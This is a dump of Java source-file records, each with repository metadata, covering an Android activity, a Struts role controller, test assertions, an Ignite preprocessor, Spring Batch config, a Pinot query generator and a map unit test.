iInternet = menu.findItem(R.id.menu_internet);
iActive = menu.findItem(R.id.menu_active);
iStatus = menu.findItem(R.id.menu_status);
setUIReceiver();
DriverService.singleton(this).onChange(this);
ActionBar ab = getSupportActionBar();
if (null != ab){
ab.setDisplayShowHomeEnabled(true);
ab.setIcon(R.mipmap.drider);
ab.setDisplayShowTitleEnabled(false);
}
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
Intent intent = new Intent(this, MainActivity.class);
startActivity(intent);
int id = item.getItemId();
//noinspection SimplifiableIfStatement
if (id == R.id.action_settings) {
return true;
}
return super.onOptionsItemSelected(item);
}
@Override
public boolean onPrepareOptionsMenu (Menu menu){
return super.onPrepareOptionsMenu(menu);
}
private void setUIReceiver(){
receiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
Log.d(TAG, "update received");
String s = intent.getStringExtra("internet");
Log.d(TAG, "internet: "+ s);
if (s != null){
setIndicator(iInternet,s);
}
s = intent.getStringExtra("power");
Log.d(TAG, "power: "+ s);
if (s != null){
setIndicator(iPower,s);
}
s = intent.getStringExtra("active");
Log.d(TAG, "active: "+ s);
if (s != null){
setIndicator(iActive,s);
}
SharedPreferences settings = getApplicationContext().getSharedPreferences(MainActivity.PREFS_NAME, 0);
Boolean isActive = settings.getBoolean("DriverActive", true);
if (isActive)
iStatus.setTitle(R.string.drive_on);
else
iStatus.setTitle(R.string.drive_off);
}
};
LocalBroadcastManager.getInstance(this).registerReceiver((receiver),
new IntentFilter("UIUpdate")
);
}
private void setIndicator(MenuItem i, String status){
if (null == i) return;
if ("maybe".equals(status)){
i.setIcon(R.mipmap.yellow);
}
else if (Boolean.valueOf(status))
i.setIcon(R.mipmap.green);
else
i.setIcon(R.mipmap.red);
}
private void sendRegistrationToServer(String token, String uid){
WebviewCookieHandler cookieManager = new WebviewCookieHandler();
client.setCookieHandler(cookieManager);
RequestBody formBody = new FormEncodingBuilder()
.add("token", token)
.add("uid", uid)
.build();
Request request = new Request.Builder()
.url("http://" + DriverService.HOST + "/api/token/facebook")
.post(formBody)
.build();
client.newCall(request).enqueue(new Callback() {
@Override
public void onFailure(Request request, IOException throwable) {
Log.d(TAG, "1");
}
@Override
public void onResponse(Response response) throws IOException {
Log.d(TAG, "1");
webview.post(new Runnable() {
@Override
public void run() {
webview.loadUrl("http://" + DriverService.HOST + "/account");
}
});
SharedPreferences settings = getApplicationContext().getSharedPreferences(MainActivity.PREFS_NAME, 0);
SharedPreferences.Editor editor = settings.edit();
editor.putBoolean("DriverActive", true);
editor.commit();
DriverService.singleton(mContext).onChange(mContext);
}
});
}
}
|
3e0e582a40a4f3b266102b6ccf2b65274d1c47b3 | 3,084 | java | Java | src/main/java/com/zhbit/security/action/RoleAction.java | allenlili/thesis-management-system | 360523d8f0fc2b3fb91f15362d85036526ab22ac | [
"MIT"
] | 1 | 2020-02-17T15:53:28.000Z | 2020-02-17T15:53:28.000Z | src/main/java/com/zhbit/security/action/RoleAction.java | allenlili/thesis-management-system | 360523d8f0fc2b3fb91f15362d85036526ab22ac | [
"MIT"
] | null | null | null | src/main/java/com/zhbit/security/action/RoleAction.java | allenlili/thesis-management-system | 360523d8f0fc2b3fb91f15362d85036526ab22ac | [
"MIT"
] | null | null | null | 23.363636 | 86 | 0.68677 | 6,086 | package com.zhbit.security.action;
import java.util.List;
import java.util.Set;
import org.hibernate.criterion.DetachedCriteria;
import org.hibernate.criterion.MatchMode;
import org.hibernate.criterion.Restrictions;
import org.springframework.context.annotation.Scope;
import org.springframework.stereotype.Controller;
import com.opensymphony.xwork2.ActionContext;
import com.zhbit.core.action.BaseAction;
import com.zhbit.core.dao.GenericDao;
import com.zhbit.security.dao.RoleDao;
import com.zhbit.security.entity.Resource;
import com.zhbit.security.entity.Role;
import com.zhbit.security.entity.User;
@SuppressWarnings("serial")
@Controller("roleAction")
@Scope("prototype")
public class RoleAction extends BaseAction<Role> {
private RoleDao roleDao;
private Long userId;
private Long resourceId;
public void setUserId(Long userId) {
this.userId = userId;
}
public void setResourceId(Long resourceId) {
this.resourceId = resourceId;
}
@javax.annotation.Resource
public void setRoleDao(RoleDao roleDao) {
this.roleDao = roleDao;
}
@Override
public GenericDao<Role> getDao() {
return roleDao;
}
@Override
public void beforFind(DetachedCriteria criteria) {
if (null != model.getRoleName() && !"".equals(model.getRoleName())) {
criteria.add(Restrictions.like("roleName", model.getRoleName(),
MatchMode.ANYWHERE));
}
}
@Override
public void afterToUpdate(Role role) {
List<User> users = roleDao.find(DetachedCriteria.forClass(User.class));
List<Resource> resources = roleDao.find(DetachedCriteria.forClass(Resource.class));
Set<User> roleUsers = role.getUsers();
Set<Resource> roleResources = role.getResources();
for (User user : roleUsers) {
users.remove(user);
}
for (Resource resource : roleResources) {
resources.remove(resource);
}
ActionContext.getContext().put("userList", users);
ActionContext.getContext().put("resourceList", resources);
}
/**
* 为角色添加用户
* @return
*/
public String addUser() {
Role role = roleDao.get(model.getId());
User user = roleDao.get(User.class, userId);
role.getUsers().add(user);
roleDao.save(role);
return UPDATE_ACTION;
}
/**
* 为角色删除用户
* @return
*/
public String deleteUser() {
Role role = roleDao.get(model.getId());
User user = roleDao.get(User.class, userId);
role.getUsers().remove(user);
roleDao.save(role);
return UPDATE_ACTION;
}
/**
* 为角色添加资源
* @return
*/
public String addResource() {
Role role = roleDao.get(model.getId());
Resource resource = roleDao.get(Resource.class, resourceId);
role.getResources().add(resource);
roleDao.save(role);
return UPDATE_ACTION;
}
/**
* 为角色删除资源
* @return
*/
public String deleteResource() {
Role role = roleDao.get(model.getId());
Resource resource = roleDao.get(Resource.class, resourceId);
role.getResources().remove(resource);
roleDao.save(role);
return UPDATE_ACTION;
}
}
|
3e0e58475ec6f65212cc3b77a1e3713c3f4de76d | 4,449 | java | Java | src/main/java/com/deniskonovalyenko/compack/assertion/BinaryInputStreamsEqualityAssertion.java | denis-konovalyenko/compack | a4bf8e6f98ee96e8a12e76d7f21d611a28ba8de2 | [
"MIT"
] | null | null | null | src/main/java/com/deniskonovalyenko/compack/assertion/BinaryInputStreamsEqualityAssertion.java | denis-konovalyenko/compack | a4bf8e6f98ee96e8a12e76d7f21d611a28ba8de2 | [
"MIT"
] | 8 | 2020-04-20T17:59:25.000Z | 2020-04-30T21:56:25.000Z | src/main/java/com/deniskonovalyenko/compack/assertion/BinaryInputStreamsEqualityAssertion.java | denis-konovalyenko/compack | a4bf8e6f98ee96e8a12e76d7f21d611a28ba8de2 | [
"MIT"
] | null | null | null | 32.955556 | 83 | 0.569341 | 6,087 | /*
* MIT License
*
* Copyright (c) 2020 Denis Konovalyenko
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
package com.deniskonovalyenko.compack.assertion;
import java.io.IOException;
import java.io.InputStream;
/**
* A binary input streams equality assertion.
*/
public final class BinaryInputStreamsEqualityAssertion implements Assertion {
/**
* A buffer size.
*/
private static final int BUFFER_SIZE = 4096;
/**
* A description.
*/
private final String description;
/**
* An actual input stream.
*/
private final InputStream actual;
/**
* An expected input stream.
*/
private final InputStream expected;
/**
* An actual buffer.
*/
private final byte[] actualBuffer;
/**
* An expected buffer.
*/
private final byte[] expectedBuffer;
/**
* Constructs the assertion with actual and expected default buffers.
* @param description The description
* @param actual The actual input stream
* @param expected The expected input stream
*/
public BinaryInputStreamsEqualityAssertion(
final String description,
final InputStream actual,
final InputStream expected
) {
this.description = description;
this.actual = actual;
this.expected = expected;
this.actualBuffer = new byte[BUFFER_SIZE];
this.expectedBuffer = new byte[BUFFER_SIZE];
}
/**
* Affirms the assertion.
* @throws AssertionError If the affirmation fails
*/
@Override
public void affirm() throws AssertionError {
try {
long totalFromActual = 0;
long totalFromExpected = 0;
int fromActual;
int fromExpected;
while ((this.actual.available() > 0)
&& (this.expected.available() > 0)) {
fromActual = this.actual.read(this.actualBuffer);
fromExpected = this.expected.read(this.expectedBuffer);
totalFromActual += fromActual;
totalFromExpected += fromExpected;
if (fromActual != fromExpected) {
throw new AssertionError(
String.format(
// @checkstyle LineLength (1 lines)
"%s%nExpected number of bytes to be <%d> but was <%d>",
this.description,
totalFromExpected,
totalFromActual
)
);
}
if (fromActual > 0) {
new BytesEqualityAssertion(
String.format(
"%s%nAffirms that byte arrays are equal",
this.description
),
this.actualBuffer,
this.expectedBuffer,
BUFFER_SIZE,
fromActual
).affirm();
} else {
break;
}
}
} catch (final IOException ex) {
throw new AssertionError(
String.format(
"%s%nUnable to compare binary contents",
this.description
),
ex
);
}
}
}
|
3e0e5853c857547690cff3c68a3efe27ed1575a5 | 255 | java | Java | examples/src/main/java/org/bc/crypto/DSA.java | merchoco/gm-jsse | e158a0568bd78259e08b25fda70e8882e4f78a5e | [
"Apache-2.0"
] | 2 | 2021-12-02T08:01:07.000Z | 2021-12-02T08:01:09.000Z | examples/src/main/java/org/bc/crypto/DSA.java | merchoco/gm-jsse | e158a0568bd78259e08b25fda70e8882e4f78a5e | [
"Apache-2.0"
] | null | null | null | examples/src/main/java/org/bc/crypto/DSA.java | merchoco/gm-jsse | e158a0568bd78259e08b25fda70e8882e4f78a5e | [
"Apache-2.0"
] | 1 | 2021-12-02T08:01:10.000Z | 2021-12-02T08:01:10.000Z | 21.25 | 74 | 0.752941 | 6,088 | package org.bc.crypto;
import java.math.BigInteger;
public interface DSA {
void init(boolean var1, CipherParameters var2);
BigInteger[] generateSignature(byte[] var1);
boolean verifySignature(byte[] var1, BigInteger var2, BigInteger var3);
}
|
3e0e5871f8d98e63d7db6b8c3324a5bb287b3db6 | 3,245 | java | Java | modules/ml/src/main/java/org/apache/ignite/ml/preprocessing/encoding/label/LabelEncoderPreprocessor.java | treelab/ignite | ec89c8586df89899ae56ebbc598639e0afea5901 | [
"CC0-1.0"
] | 4,339 | 2015-08-21T21:13:25.000Z | 2022-03-30T09:56:44.000Z | modules/ml/src/main/java/org/apache/ignite/ml/preprocessing/encoding/label/LabelEncoderPreprocessor.java | treelab/ignite | ec89c8586df89899ae56ebbc598639e0afea5901 | [
"CC0-1.0"
] | 1,933 | 2015-08-24T11:37:40.000Z | 2022-03-31T08:37:08.000Z | modules/ml/src/main/java/org/apache/ignite/ml/preprocessing/encoding/label/LabelEncoderPreprocessor.java | treelab/ignite | ec89c8586df89899ae56ebbc598639e0afea5901 | [
"CC0-1.0"
] | 2,140 | 2015-08-21T22:09:00.000Z | 2022-03-25T07:57:34.000Z | 38.176471 | 113 | 0.713097 | 6,089 | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.ignite.ml.preprocessing.encoding.label;
import java.util.Collections;
import java.util.List;
import java.util.Map;
import org.apache.ignite.ml.environment.deploy.DeployableObject;
import org.apache.ignite.ml.math.exceptions.preprocessing.UnknownCategorialValueException;
import org.apache.ignite.ml.preprocessing.Preprocessor;
import org.apache.ignite.ml.preprocessing.encoding.EncoderPreprocessor;
import org.apache.ignite.ml.structures.LabeledVector;
/**
* Preprocessing function that makes Label encoding.
*
* The Label Encoder Preprocessor encodes string values (categories) to double values
* in range [0.0, amountOfCategories), where the most popular value will be presented as 0.0 and
* the least popular value presented with amountOfCategories-1 value.
* <p>
* This preprocessor can transforms label column.
* </p>
* <p>
* NOTE: it does not add new column but change data in-place.
*</p>
* @param <K> Type of a key in {@code upstream} data.
* @param <V> Type of a value in {@code upstream} data.
*/
public final class LabelEncoderPreprocessor<K, V> extends EncoderPreprocessor<K, V> implements DeployableObject {
/** */
private static final long serialVersionUID = 6237782236382623488L;
/**
* Constructs a new instance of Label Encoder preprocessor.
*
* @param basePreprocessor Base preprocessor.
*/
public LabelEncoderPreprocessor(Map<String, Integer> labelFrequencies,
Preprocessor<K, V> basePreprocessor) {
super(labelFrequencies, basePreprocessor);
}
/**
* Applies this preprocessor.
*
* @param k Key.
* @param v Value.
* @return Preprocessed row.
*/
@Override public LabeledVector apply(K k, V v) {
LabeledVector tmp = basePreprocessor.apply(k, v);
double res;
Object tmpObj = tmp.label();
if (tmpObj.equals(Double.NaN) && labelFrequencies.containsKey(KEY_FOR_NULL_VALUES))
res = labelFrequencies.get(KEY_FOR_NULL_VALUES);
else if (labelFrequencies.containsKey(tmpObj))
res = labelFrequencies.get(tmpObj);
else
throw new UnknownCategorialValueException(tmpObj.toString());
return new LabeledVector(tmp.features(), res);
}
/** {@inheritDoc} */
@Override public List<Object> getDependencies() {
return Collections.singletonList(basePreprocessor);
}
}
|
3e0e588ec58e3a8373bff97acd50b3c6a3264d21 | 463 | java | Java | GsmHelloRestBatch/src/main/java/org/gsm/demos/rest/config/BatchConfig.java | GabrielSaiz/GsmSpringBatch | 0ca05db995a3294faea1099e50bd099023c93e63 | [
"Apache-2.0"
] | null | null | null | GsmHelloRestBatch/src/main/java/org/gsm/demos/rest/config/BatchConfig.java | GabrielSaiz/GsmSpringBatch | 0ca05db995a3294faea1099e50bd099023c93e63 | [
"Apache-2.0"
] | 9 | 2021-12-10T01:02:24.000Z | 2022-01-21T23:22:28.000Z | GsmHelloRestBatch/src/main/java/org/gsm/demos/rest/config/BatchConfig.java | GabrielSaiz/GsmSpringBatch | 0ca05db995a3294faea1099e50bd099023c93e63 | [
"Apache-2.0"
] | null | null | null | 33.071429 | 86 | 0.87905 | 6,090 | package org.gsm.demos.rest.config;
import org.springframework.batch.core.configuration.annotation.DefaultBatchConfigurer;
import org.springframework.batch.core.configuration.annotation.EnableBatchProcessing;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.EnableAspectJAutoProxy;
@Configuration
@EnableBatchProcessing
@EnableAspectJAutoProxy
public class BatchConfig extends DefaultBatchConfigurer{
}
|
3e0e59c14cbe90e6a682f342b8a701c4532221fb | 3,505 | java | Java | core/runtime/src/main/java/uk/co/objectconnexions/expressiveobjects/core/runtime/transaction/facets/CollectionRemoveFromFacetWrapTransaction.java | rcm2001/expressive-objects | a5ced6694cfb2daf24ba09c94cc4e1864384224c | [
"Apache-2.0"
] | null | null | null | core/runtime/src/main/java/uk/co/objectconnexions/expressiveobjects/core/runtime/transaction/facets/CollectionRemoveFromFacetWrapTransaction.java | rcm2001/expressive-objects | a5ced6694cfb2daf24ba09c94cc4e1864384224c | [
"Apache-2.0"
] | null | null | null | core/runtime/src/main/java/uk/co/objectconnexions/expressiveobjects/core/runtime/transaction/facets/CollectionRemoveFromFacetWrapTransaction.java | rcm2001/expressive-objects | a5ced6694cfb2daf24ba09c94cc4e1864384224c | [
"Apache-2.0"
] | null | null | null | 44.367089 | 151 | 0.72525 | 6,091 | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package uk.co.objectconnexions.expressiveobjects.core.runtime.transaction.facets;
import uk.co.objectconnexions.expressiveobjects.core.metamodel.adapter.ObjectAdapter;
import uk.co.objectconnexions.expressiveobjects.core.metamodel.facetapi.DecoratingFacet;
import uk.co.objectconnexions.expressiveobjects.core.metamodel.facets.collections.modify.CollectionRemoveFromFacet;
import uk.co.objectconnexions.expressiveobjects.core.metamodel.facets.collections.modify.CollectionRemoveFromFacetAbstract;
import uk.co.objectconnexions.expressiveobjects.core.runtime.system.context.ExpressiveObjectsContext;
import uk.co.objectconnexions.expressiveobjects.core.runtime.system.persistence.PersistenceSession;
import uk.co.objectconnexions.expressiveobjects.core.runtime.system.transaction.ExpressiveObjectsTransactionManager;
import uk.co.objectconnexions.expressiveobjects.core.runtime.system.transaction.TransactionalClosureAbstract;
public class CollectionRemoveFromFacetWrapTransaction extends CollectionRemoveFromFacetAbstract implements DecoratingFacet<CollectionRemoveFromFacet> {
private final CollectionRemoveFromFacet underlyingFacet;
@Override
public CollectionRemoveFromFacet getDecoratedFacet() {
return underlyingFacet;
}
public CollectionRemoveFromFacetWrapTransaction(final CollectionRemoveFromFacet underlyingFacet) {
super(underlyingFacet.getFacetHolder());
this.underlyingFacet = underlyingFacet;
}
@Override
public void remove(final ObjectAdapter adapter, final ObjectAdapter referencedAdapter) {
if (adapter.isTransient()) {
// NOT !adapter.isPersistent();
// (value adapters are neither persistent or transient)
underlyingFacet.remove(adapter, referencedAdapter);
} else {
getTransactionManager().executeWithinTransaction(new TransactionalClosureAbstract() {
@Override
public void execute() {
underlyingFacet.remove(adapter, referencedAdapter);
}
});
}
}
@Override
public String toString() {
return super.toString() + " --> " + underlyingFacet.toString();
}
// ///////////////////////////////////////////////////////////////
// Dependencies (from context)
// ///////////////////////////////////////////////////////////////
private static ExpressiveObjectsTransactionManager getTransactionManager() {
return getPersistenceSession().getTransactionManager();
}
private static PersistenceSession getPersistenceSession() {
return ExpressiveObjectsContext.getPersistenceSession();
}
}
|
3e0e5c0ebcc9b31d5f64f5dca817b1c338ae5e1b | 579 | java | Java | gvgai/src/main/java/controllers/singlePlayer/suntzuEA/Swap.java | hussyrez/GVGAI-With-JMetal | 6a3559c487c3993ac10d0eb8e9702f0aed13d45f | [
"MIT"
] | null | null | null | gvgai/src/main/java/controllers/singlePlayer/suntzuEA/Swap.java | hussyrez/GVGAI-With-JMetal | 6a3559c487c3993ac10d0eb8e9702f0aed13d45f | [
"MIT"
] | null | null | null | gvgai/src/main/java/controllers/singlePlayer/suntzuEA/Swap.java | hussyrez/GVGAI-With-JMetal | 6a3559c487c3993ac10d0eb8e9702f0aed13d45f | [
"MIT"
] | null | null | null | 27.571429 | 69 | 0.618307 | 6,092 | package controllers.singlePlayer.suntzuEA;
import ontology.Types;
import java.util.ArrayList;
public class Swap {
/**
* Mutates the genome via swap(i,j)
* @param i index to swap
* @param j index to swap
* @param individual to mutate
*/
public static void mutate(int i, int j, Individual individual) {
ArrayList<Types.ACTIONS> genome = individual.getGenome();
Types.ACTIONS temp = genome.get(i);
genome.set(i, genome.get(j));
genome.set(j, temp);
individual.setGenome(genome);
}
}
|
3e0e5c3085484c0ac9b66d063d13198caeff9fb7 | 720 | java | Java | src/main/java/seedu/address/logic/commands/ClearCommand.java | leongshengmin/addressbook-level4 | e0d8cbb88ac650f65cf38229bb393da2d058d514 | [
"MIT"
] | null | null | null | src/main/java/seedu/address/logic/commands/ClearCommand.java | leongshengmin/addressbook-level4 | e0d8cbb88ac650f65cf38229bb393da2d058d514 | [
"MIT"
] | 88 | 2018-09-19T03:04:02.000Z | 2018-11-13T15:04:54.000Z | src/main/java/seedu/address/logic/commands/ClearCommand.java | leongshengmin/addressbook-level4 | e0d8cbb88ac650f65cf38229bb393da2d058d514 | [
"MIT"
] | 3 | 2018-09-17T12:56:17.000Z | 2018-09-29T13:29:53.000Z | 25.714286 | 79 | 0.729167 | 6,093 | package seedu.address.logic.commands;
import static java.util.Objects.requireNonNull;
import seedu.address.logic.CommandHistory;
import seedu.address.model.Model;
import seedu.address.model.WishBook;
/**
* Clears the wish book.
*/
public class ClearCommand extends Command {
public static final String COMMAND_WORD = "clear";
public static final String COMMAND_ALIAS = "c";
public static final String MESSAGE_SUCCESS = "Wish book has been cleared!";
@Override
public CommandResult execute(Model model, CommandHistory history) {
requireNonNull(model);
model.resetData(new WishBook());
model.commitWishBook();
return new CommandResult(MESSAGE_SUCCESS);
}
}
|
3e0e5c83fbfdfce957c1936ffe5a45db23a7cff2 | 5,738 | java | Java | pinot-tools/src/main/java/com/linkedin/pinot/tools/query/comparison/StarTreeQueryGenerator.java | bforevdr/pinot_ | 83b9a8f4f1be795619b3778fe4a37285534179c1 | [
"Apache-2.0"
] | null | null | null | pinot-tools/src/main/java/com/linkedin/pinot/tools/query/comparison/StarTreeQueryGenerator.java | bforevdr/pinot_ | 83b9a8f4f1be795619b3778fe4a37285534179c1 | [
"Apache-2.0"
] | null | null | null | pinot-tools/src/main/java/com/linkedin/pinot/tools/query/comparison/StarTreeQueryGenerator.java | bforevdr/pinot_ | 83b9a8f4f1be795619b3778fe4a37285534179c1 | [
"Apache-2.0"
] | null | null | null | 31.734807 | 108 | 0.700557 | 6,094 | /**
* Copyright (C) 2014-2015 LinkedIn Corp. (ychag@example.com)
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.linkedin.pinot.tools.query.comparison;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.List;
import java.util.Map;
import java.util.Random;
import org.apache.commons.lang.StringUtils;
/**
* Given a list of dimension and metric columns, and possible values for dimension columns:
* Generate queries of the form: SELECT SUM(m1), SUM(m2)... WHERE d1='v1' AND d2='v2'... GROUP BY d3,d4...
*/
public class StarTreeQueryGenerator {
private static final int MAX_NUM_PREDICATES = 3;
private static final int MAX_NUM_GROUP_BYS = 3;
private static final String SELECT = "SELECT";
private static final String FROM = "FROM";
private static final String WHERE = "WHERE";
private static final String GROUP_BY = "GROUP BY";
private static final String EMPTY_STRING = "";
private Random _random;
private final String _tableName;
private final List<String> _dimensionColumns;
private final List<String> _metricColumns;
private final Map<String, List<String>> _columnValues;
// Add more functions here to generate them in the queries.
private final List<String> _aggregationFunctions = Arrays.asList(new String[]{"SUM"});
// Add more comparators here to generate them in the 'WHERE' clause.
private final List<String> _comparators = Arrays.asList(new String[]{"="});
public StarTreeQueryGenerator(String tableName, List<String> dimensionColumns, List<String> metricColumns,
Map<String, List<String>> columnValues) {
_tableName = tableName;
_dimensionColumns = dimensionColumns;
_metricColumns = metricColumns;
_columnValues = columnValues;
_random = new Random();
}
/**
* Generate one aggregation string for the given column.
* @param column
* @return
*/
private String generateAggregation(String column) {
int max = _aggregationFunctions.size();
return _aggregationFunctions.get(_random.nextInt(max)) + "(" + column + ")";
}
/**
* Generate the aggregation section of the query, returns at least one aggregation.
* @return
*/
private String generateAggregations() {
int numAggregations = _random.nextInt(_metricColumns.size() + 1);
numAggregations = Math.max(numAggregations, 1);
List<String> aggregations = new ArrayList<>(numAggregations);
Collections.shuffle(_metricColumns);
for (int i = 0; i < numAggregations; i++) {
aggregations.add(generateAggregation(_metricColumns.get(i)));
}
return StringUtils.join(aggregations, ", ");
}
/**
* Generate individual predicates that form the overall WHERE clause.
* @param column
* @return
*/
private String generatePredicate(String column) {
List<String> predicate = new ArrayList<>();
predicate.add(column);
predicate.add(_comparators.get(_random.nextInt(_comparators.size())));
List<String> valueArray = _columnValues.get(column);
String value = "'" + valueArray.get(_random.nextInt(valueArray.size())) + "'";
predicate.add(value);
return StringUtils.join(predicate, " ");
}
/**
* Randomly generate the WHERE clause of the query, may return empty string
* @return
*/
private String generatePredicates() {
int numDimensions = _dimensionColumns.size();
int numPredicates = _random.nextInt(numDimensions + 1);
numPredicates = Math.min(numPredicates, MAX_NUM_PREDICATES);
if (numPredicates == 0) {
return EMPTY_STRING;
}
List<String> predicates = new ArrayList<>(numPredicates);
Collections.shuffle(_dimensionColumns);
for (int i = 0; i < numPredicates; i++) {
predicates.add(generatePredicate(_dimensionColumns.get(i)));
}
return WHERE + " " + StringUtils.join(predicates, " AND ");
}
/**
* Randomly generate the GROUP BY section, may return empty string.
* @return
*/
private String generateGroupBys() {
List<String> groupBys = new ArrayList<>();
int numDimensions = _dimensionColumns.size();
int numGroupBys = _random.nextInt(numDimensions + 1);
numGroupBys = Math.min(numGroupBys, MAX_NUM_GROUP_BYS);
if (numGroupBys == 0) {
return EMPTY_STRING;
}
Collections.shuffle(_dimensionColumns);
for (int i = 0; i < numGroupBys; i++) {
groupBys.add(_dimensionColumns.get(i));
}
return GROUP_BY + " " + StringUtils.join(groupBys, ", ");
}
/**
* Combine the various sections to form the overall query
*
* @param aggregations
* @param predicates
* @param groupBys
* @return
*/
private String buildQuery(String aggregations, String predicates, String groupBys) {
List<String> components = new ArrayList<>();
components.add(SELECT);
components.add(aggregations);
components.add(FROM);
components.add(_tableName);
components.add(predicates);
components.add(groupBys);
return StringUtils.join(components, " ");
}
/**
* Randomly generate a query
* @return Return the generated query
*/
public String nextQuery() {
return buildQuery(generateAggregations(), generatePredicates(), generateGroupBys());
}
}
|
3e0e5d7d8c8d738ae11918462e9fc885ffa2e940 | 1,391 | java | Java | KoDeMat_Collaboration3D/src/main/java/jade_layout/shapes/Shape.java | akiskip/KoDeMat-Collaboration-Platform-Application | 82561ed88554a1f36fd40f8dd1d4f51fbcc00c3f | [
"Apache-2.0"
] | null | null | null | KoDeMat_Collaboration3D/src/main/java/jade_layout/shapes/Shape.java | akiskip/KoDeMat-Collaboration-Platform-Application | 82561ed88554a1f36fd40f8dd1d4f51fbcc00c3f | [
"Apache-2.0"
] | null | null | null | KoDeMat_Collaboration3D/src/main/java/jade_layout/shapes/Shape.java | akiskip/KoDeMat-Collaboration-Platform-Application | 82561ed88554a1f36fd40f8dd1d4f51fbcc00c3f | [
"Apache-2.0"
] | null | null | null | 34.775 | 78 | 0.677211 | 6,095 | /*
* Copyright 2014 Institute fml (TU Munich) and Institute FLW (TU Dortmund).
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package jade_layout.shapes;
import kodemat.visudata.VisuRotation;
import kodemat.visudata.VisuVector3f;
/**
* Interface that any shape should implement.
* @author Koshkabb
*/
public interface Shape {
/**
* Calculates the 3D coordinates given a normalized coordinate.
* @param w The normalized coordinate
* @return The 3D coordinates
*/
VisuVector3f calculate3DCoordinates(float w);
/**
* Calculates the rotation in this shape.
* @param previous The previous rotation
* @param w The normalized coordinate
* @return The rotation
*/
VisuRotation calculateRotation(VisuRotation previous, float w);
}
|
3e0e5d8a3143446f2c3e5328111a34fe42afc656 | 4,896 | java | Java | src/test/java/johneagle/routesolve/domain/MapTest.java | Jhoneagle/RouteSolver | 05af7bca3c5bc47633de7cec4520e69cb1d8c406 | [
"Apache-2.0"
] | null | null | null | src/test/java/johneagle/routesolve/domain/MapTest.java | Jhoneagle/RouteSolver | 05af7bca3c5bc47633de7cec4520e69cb1d8c406 | [
"Apache-2.0"
] | 1 | 2018-08-23T20:10:11.000Z | 2018-12-10T09:32:42.000Z | src/test/java/johneagle/routesolve/domain/MapTest.java | Jhoneagle/RouteSolver | 05af7bca3c5bc47633de7cec4520e69cb1d8c406 | [
"Apache-2.0"
] | null | null | null | 37.953488 | 106 | 0.627859 | 6,096 | package johneagle.routesolve.domain;
import johneagle.routesolve.TempFile;
import johneagle.routesolve.filesystem.Reader;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import java.io.IOException;
import java.util.logging.Level;
import java.util.logging.Logger;
public class MapTest extends TempFile {
private Map asciiMap;
private Reader reader;
@Before
public void setUp() throws Exception {
this.asciiMap = new Map();
try {
this.tempConfig = tempFolder.newFile("test.properties");
this.tempMapFile = tempFolder.newFile("test.csv");
} catch (IOException ex) {
Logger.getLogger(MapTest.class.getName()).log(Level.SEVERE, null, ex);
}
this.reader = new Reader();
this.tempMapFile.setWritable(true);
String map = "10011" + "\n" +
"11010" + "\n" +
"01110" + "\n" +
"11010" + "\n" +
"10011";
insertMap(map);
this.tempConfig.setWritable(true);
insertConfig("1", "0");
this.reader.getConfigs(this.tempConfig.getAbsolutePath());
boolean[][] matrix = this.reader.getMap(this.tempMapFile.getAbsolutePath());
this.asciiMap.setMap(matrix);
}
@Test
public void dataOk() {
Assert.assertNotNull(this.asciiMap.getMap());
Assert.assertEquals(5, this.asciiMap.getMapHeight());
